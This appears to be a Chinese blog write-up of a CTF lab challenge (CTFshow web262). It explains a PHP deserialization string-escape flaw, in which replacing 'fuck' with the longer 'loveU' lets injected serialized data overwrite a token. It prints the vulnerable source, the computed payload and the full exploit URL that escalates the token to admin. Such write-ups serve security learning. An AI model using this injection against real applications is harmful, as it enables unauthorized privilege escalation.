CTFshow 反序列化入门 web262

最新推荐文章于 2024-09-10 15:14:28 发布

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最新推荐文章于 2024-09-10 15:14:28 发布

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分类专栏： CTF 文章标签： android

本文链接：https://blog.csdn.net/weixin_46099552/article/details/141953409

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CTFshow 反序列化入门 web262
考点是：字符串逃逸

出现$umsg = str_replace('fuck', 'loveU', serialize($msg)); ，替换字符后是增长，增长逃逸


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

复制到本地调试，echo输出，test是自己输入的字符，发现token是user，应该是要修改user为admin

O:7:"message":4:{s:4:"from";s:4:"test";s:3:"msg";s:4:"test";s:2:"to";s:4:"test";s:5:"token";s:4:"user";}

需要构建的代码 ";s:2:"to";s:4:"test";s:5:"token";s:5:"admin";} 长度为 47

所以需要输入47个fuck +";s:2:"to";s:4:"test";s:5:"token";s:5:"admin";} （长度为235）

然后经过str_replace('fuck', 'loveU', serialize($msg); 后，fuck替换为loveU ，前面fuck的长度就变成了235，而多出来的";s:2:"to";s:4:"test";s:5:"token";s:5:"admin";} 就会被顶到后面作为序列化对象执行

# 最后的 ";s:2:"to";s:4:"test";s:5:"token";s:4:"user";} 会被 ";s:2:"to";s:4:"test";s:5:"token";s:5:"admin";} 顶掉
O:7:"message":4:{s:4:"from";s:4:"test";s:3:"msg";s:235:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:2:"to";s:4:"test";s:5:"token";s:5:"admin";}";s:2:"to";s:4:"test";s:5:"token";s:4:"user";}

构建url

f=test&m=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:2:"to";s:4:"test";s:5:"token";s:5:"admin";}&t=test

在浏览器输入后显示Your message has been sent ，发现没有flag回显，但是在头部的注释里面发现有一个message.php，访问发现flag就在下面